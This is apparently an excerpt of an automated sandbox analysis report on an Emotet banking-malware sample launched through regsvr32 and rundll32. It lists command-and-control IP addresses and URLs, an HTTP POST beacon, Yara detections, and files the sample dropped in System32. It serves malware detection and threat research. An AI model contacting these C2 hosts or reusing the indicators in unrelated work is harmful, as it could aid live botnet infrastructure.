Source: unknown	TCP traffic detected without corresponding DNS query: 164.90.222.65
Source: unknown	TCP traffic detected without corresponding DNS query: 164.90.222.65
Source: unknown	TCP traffic detected without corresponding DNS query: 164.90.222.65
Source: unknown	TCP traffic detected without corresponding DNS query: 164.90.222.65
Source: unknown	TCP traffic detected without corresponding DNS query: 164.90.222.65
Source: unknown	TCP traffic detected without corresponding DNS query: 164.90.222.65

Source: regsvr32.exe, 00000007.00000002.3284094347.0000000000A28000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1512104522.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1236480763.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1513381084.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1502020156.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1238112714.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1501043629.0000000002ECE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: regsvr32.exe, 00000007.00000002.3284094347.0000000000A28000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1512104522.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1236480763.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1513381084.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1502020156.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1238112714.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: regsvr32.exe, 00000007.00000003.1212529823.0000000002C97000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1213684958.0000000002C97000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1237911678.0000000002C97000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1211632236.0000000002C90000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1211632236.0000000002C97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/
Source: regsvr32.exe, 00000007.00000003.1214356942.0000000002C90000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1211632236.0000000002C90000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1237911678.0000000002C90000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1212529823.0000000002C90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update
Source: regsvr32.exe, 00000007.00000003.1514297126.00000000009EC000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1236480763.00000000009EC000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1502020156.00000000009EC000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.3282958811.00000000009DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: regsvr32.exe, 00000007.00000003.1502020156.0000000000A65000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1238888691.0000000000A63000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1515080100.0000000000A63000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.3284094347.0000000000A63000.00000004.00000020.00020000.00000000.sdmp, 77EC63BDA74BD0D0E0426DC8F80085060.7.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: regsvr32.exe, 00000007.00000003.1236480763.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1238112714.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?65a00d22ec036
Source: regsvr32.exe, 00000007.00000002.3284094347.0000000000A63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://139.59.126.41/
Source: regsvr32.exe, 00000007.00000002.3284094347.0000000000A63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://139.59.126.41/0/
Source: regsvr32.exe, 00000007.00000002.3284094347.0000000000A63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://139.59.126.41/jlu/_E
Source: regsvr32.exe, 00000007.00000002.3284094347.0000000000A19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://139.59.126.41/pescnrsqtrnp/icjmpjlu/
Source: regsvr32.exe, 00000007.00000002.3284094347.0000000000A63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://164.68.99.3:8080/
Source: regsvr32.exe, 00000007.00000002.3284094347.0000000000A63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://164.68.99.3:8080/pescnrsqtrnp/icjmpjlu/
Source: regsvr32.exe, 00000007.00000002.3284094347.0000000000A28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://164.68.99.3:8080/pescnrsqtrnp/icjmpjlu/0
Source: regsvr32.exe, 00000007.00000002.3284094347.0000000000A19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://164.68.99.3:8080/pescnrsqtrnp/icjmpjlu/L
Source: regsvr32.exe, 00000007.00000002.3284094347.0000000000A63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://164.68.99.3:8080/pescnrsqtrnp/icjmpjlu/p
Source: regsvr32.exe, 00000007.00000002.3284094347.0000000000A63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://164.68.99.3:8080/wW
Source: regsvr32.exe, 00000007.00000003.1501981002.0000000002CF5000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.3285581454.0000000002CF5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://167.172.199.165:8080/D
Source: regsvr32.exe, 00000007.00000003.1502020156.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://167.172.199.165:8080/pescnrsqtrnp/icjmpjlu/
Source: regsvr32.exe, 00000007.00000002.3284094347.0000000000A63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://186.194.240.217/3WC
Source: regsvr32.exe, 00000007.00000002.3282958811.000000000098B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://186.194.240.217:443/pescnrsqtrnp/icjmpjlu/
Source: regsvr32.exe, 00000007.00000003.1515080100.0000000000A63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://66.228.32.31:7080/
Source: regsvr32.exe, 00000007.00000003.1502020156.0000000000A65000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1515080100.0000000000A63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://66.228.32.31:7080/#Ws
Source: regsvr32.exe, 00000007.00000003.1502020156.0000000000A65000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1515080100.0000000000A63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://66.228.32.31:7080/pescnrsqtrnp/icjmpjlu/
Source: regsvr32.exe, 00000007.00000003.1514297126.00000000009EC000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1236480763.00000000009EC000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1502020156.00000000009EC000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.3282958811.00000000009DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://91.121.146.47:8080/
Source: regsvr32.exe, 00000007.00000003.1238112714.0000000000A05000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1514297126.0000000000A05000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1502020156.0000000000A05000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.3282958811.000000000098B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://91.121.146.47:8080/pescnrsqtrnp/icjmpjlu/
Source: regsvr32.exe, 00000007.00000002.3282958811.000000000098B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://91.121.146.47:8080/pescnrsqtrnp/icjmpjlu/d
Source: regsvr32.exe, 00000007.00000002.3285581454.0000000002C90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.221.146:8080/
Source: regsvr32.exe, 00000007.00000002.3284094347.0000000000A28000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.3284094347.0000000000A63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.221.146:8080/pescnrsqtrnp/icjmpjlu/
Source: regsvr32.exe, 00000007.00000002.3284094347.0000000000A63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.221.146:8080/pescnrsqtrnp/icjmpjlu//CW

Source: unknown

HTTP traffic detected: POST /pescnrsqtrnp/icjmpjlu/ HTTP/1.1Connection: Keep-AliveContent-Length: 0Host: 164.90.222.65

Source: unknown

HTTPS traffic detected: 164.90.222.65:443 -> 192.168.11.20:49810 version: TLS 1.2

E-Banking Fraud

Yara detected Emotet

Source: Yara match	File source: 00000007.00000002.3282958811.000000000098B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 7.2.regsvr32.exe.2410000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.25255cd0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.1b91a160000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.regsvr32.exe.1370000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.25255cd0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.regsvr32.exe.1370000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.regsvr32.exe.2410000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.1b91a160000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3286848282.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.860427801.0000000001370000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.858909413.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.860809198.0000025255CD0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3285052145.0000000002410000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.858695133.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.860577207.000001B91A160000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\System32\rundll32.exe

File deleted: C:\Windows\System32\HRYKmuIti\sEzrCiJYDniwfP.dll:Zone.Identifier

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

File created: C:\Windows\system32\YDgQnzosNBGOURNE\

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00401730	3_2_00401730
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0041D100	3_2_0041D100
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0042E190	3_2_0042E190
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_004161A0	3_2_004161A0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0041F200	3_2_0041F200
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00414AC0	3_2_00414AC0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_004172F0	3_2_004172F0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00440BD0	3_2_00440BD0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0040A387	3_2_0040A387
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00441BA0	3_2_00441BA0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00424C40	3_2_00424C40
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00414420	3_2_00414420
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_004165D0	3_2_004165D0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_004186C7	3_2_004186C7
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_004186C9	3_2_004186C9
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_004186ED	3_2_004186ED
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_004186FB	3_2_004186FB
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_004186FD	3_2_004186FD
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_004186FF	3_2_004186FF
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0041869B	3_2_0041869B
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0041869D	3_2_0041869D
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0041869F	3_2_0041869F
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_004186A1	3_2_004186A1
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00439760	3_2_00439760
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00418701	3_2_00418701
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00418703	3_2_00418703
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00418705	3_2_00418705
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_01360000	3_2_01360000
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001A000	3_2_000000018001A000
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000CC14	3_2_000000018000CC14
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001709C	3_2_000000018001709C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180007D6C	3_2_0000000180007D6C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000263C	3_2_000000018000263C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180018FC8	3_2_0000000180018FC8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180008BC8	3_2_0000000180008BC8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800227EC	3_2_00000001800227EC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000A7F0	3_2_000000018000A7F0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180001000	3_2_0000000180001000
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180009408	3_2_0000000180009408
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180007C08	3_2_0000000180007C08
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018002181C	3_2_000000018002181C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180011030	3_2_0000000180011030
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001EC30	3_2_000000018001EC30
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000B83C	3_2_000000018000B83C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180007840	3_2_0000000180007840
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001C44C	3_2_000000018001C44C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180025450	3_2_0000000180025450
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001C058	3_2_000000018001C058
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001B460	3_2_000000018001B460
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180016C70	3_2_0000000180016C70
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000D474	3_2_000000018000D474
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180002C78	3_2_0000000180002C78
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000C078	3_2_000000018000C078
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000B07C	3_2_000000018000B07C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180015880	3_2_0000000180015880
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001CC84	3_2_000000018001CC84
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180004C84	3_2_0000000180004C84
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000AC94	3_2_000000018000AC94
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800098AC	3_2_00000001800098AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001A8B0	3_2_000000018001A8B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000DCB8	3_2_000000018000DCB8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800294BC	3_2_00000001800294BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180015CC4	3_2_0000000180015CC4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000F8C4	3_2_000000018000F8C4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800108CC	3_2_00000001800108CC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800080CC	3_2_00000001800080CC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180013CD4	3_2_0000000180013CD4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800014D4	3_2_00000001800014D4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800018DC	3_2_00000001800018DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800120E0	3_2_00000001800120E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180003CF4	3_2_0000000180003CF4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800090F8	3_2_00000001800090F8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800048FC	3_2_00000001800048FC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180028500	3_2_0000000180028500
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001610C	3_2_000000018001610C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180029910	3_2_0000000180029910
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180017518	3_2_0000000180017518
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180014D20	3_2_0000000180014D20
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180011924	3_2_0000000180011924
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001AD28	3_2_000000018001AD28
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001B130	3_2_000000018001B130
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180007530	3_2_0000000180007530
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180006138	3_2_0000000180006138
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001BDA0	3_2_000000018001BDA0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800095BC	3_2_00000001800095BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800115C8	3_2_00000001800115C8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001D5F0	3_2_000000018001D5F0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180028A00	3_2_0000000180028A00
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180015A00	3_2_0000000180015A00
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180018E08	3_2_0000000180018E08
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001020C	3_2_000000018001020C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180003E0C	3_2_0000000180003E0C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180004214	3_2_0000000180004214
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000461C	3_2_000000018000461C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180018A2C	3_2_0000000180018A2C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180010E2C	3_2_0000000180010E2C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001662C	3_2_000000018001662C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000BA2C	3_2_000000018000BA2C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001A244	3_2_000000018001A244
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000B258	3_2_000000018000B258
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000F65C	3_2_000000018000F65C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000A660	3_2_000000018000A660
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180010A70	3_2_0000000180010A70
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180003274	3_2_0000000180003274
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180024E8C	3_2_0000000180024E8C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180008A8C	3_2_0000000180008A8C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180014A90	3_2_0000000180014A90
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000BE90	3_2_000000018000BE90
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000AAB8	3_2_000000018000AAB8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180004EB8	3_2_0000000180004EB8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001A6BC	3_2_000000018001A6BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180003ABC	3_2_0000000180003ABC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001EAC0	3_2_000000018001EAC0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000D6CC	3_2_000000018000D6CC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800196D4	3_2_00000001800196D4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800092F0	3_2_00000001800092F0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001E310	3_2_000000018001E310
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180013B14	3_2_0000000180013B14
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000EF14	3_2_000000018000EF14
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180014F18	3_2_0000000180014F18
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000D33C	3_2_000000018000D33C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001E750	3_2_000000018001E750
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180004758	3_2_0000000180004758
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000975C	3_2_000000018000975C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001D770	3_2_000000018001D770
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001CF70	3_2_000000018001CF70
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180008378	3_2_0000000180008378
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000F77C	3_2_000000018000F77C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180015384	3_2_0000000180015384
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180001B94	3_2_0000000180001B94
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000DBA0	3_2_000000018000DBA0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180008FB0	3_2_0000000180008FB0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180018BB8	3_2_0000000180018BB8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000FFB8	3_2_000000018000FFB8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800197CC	3_2_00000001800197CC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180013FD0	3_2_0000000180013FD0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180002FD4	3_2_0000000180002FD4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800033D4	3_2_00000001800033D4
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00401730	4_2_00401730
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0041D100	4_2_0041D100
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0042E190	4_2_0042E190
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_004161A0	4_2_004161A0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0041F200	4_2_0041F200
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00414AC0	4_2_00414AC0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_004172F0	4_2_004172F0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00440BD0	4_2_00440BD0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0040A387	4_2_0040A387
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00441BA0	4_2_00441BA0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00424C40	4_2_00424C40
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00414420	4_2_00414420
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_004165D0	4_2_004165D0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_004186C7	4_2_004186C7
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_004186C9	4_2_004186C9
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_004186ED	4_2_004186ED
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_004186FB	4_2_004186FB
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_004186FD	4_2_004186FD
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_004186FF	4_2_004186FF
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0041869B	4_2_0041869B
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0041869D	4_2_0041869D
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0041869F	4_2_0041869F
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_004186A1	4_2_004186A1
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00439760	4_2_00439760
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00418701	4_2_00418701
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00418703	4_2_00418703
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00418705	4_2_00418705
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018001A000	4_2_000000018001A000
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018001709C	4_2_000000018001709C
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180008BC8	4_2_0000000180008BC8
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018000CC14	4_2_000000018000CC14
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180007D6C	4_2_0000000180007D6C
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018000263C	4_2_000000018000263C
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180018FC8	4_2_0000000180018FC8
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00000001800227EC	4_2_00000001800227EC
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018000A7F0	4_2_000000018000A7F0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180001000	4_2_0000000180001000
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018002181C	4_2_000000018002181C
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180011030	4_2_0000000180011030
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018000B83C	4_2_000000018000B83C
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180007840	4_2_0000000180007840
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018001C058	4_2_000000018001C058
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018000C078	4_2_000000018000C078
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018000B07C	4_2_000000018000B07C
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180015880	4_2_0000000180015880
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00000001800098AC	4_2_00000001800098AC
